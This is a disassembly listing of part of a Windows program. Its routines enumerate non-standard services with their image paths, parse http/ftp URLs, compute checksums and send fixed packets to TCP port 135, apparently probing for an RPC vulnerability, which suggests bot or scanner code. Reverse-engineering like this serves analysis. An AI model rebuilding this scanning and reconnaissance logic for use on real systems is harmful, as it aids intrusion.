var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	near ptr 2A70935h
		nop
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44432C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 2A50000h
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		call	near ptr 2A8036Ch
		nop
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 29F1D0Eh
		push	eax
		nop
		call	near ptr 29F12A3h
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB54, eax
		mov	eax, offset dword_50BB54
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444400 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444400 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F60
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444400 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444400 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444400 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DC8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E3C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E14
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E28
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
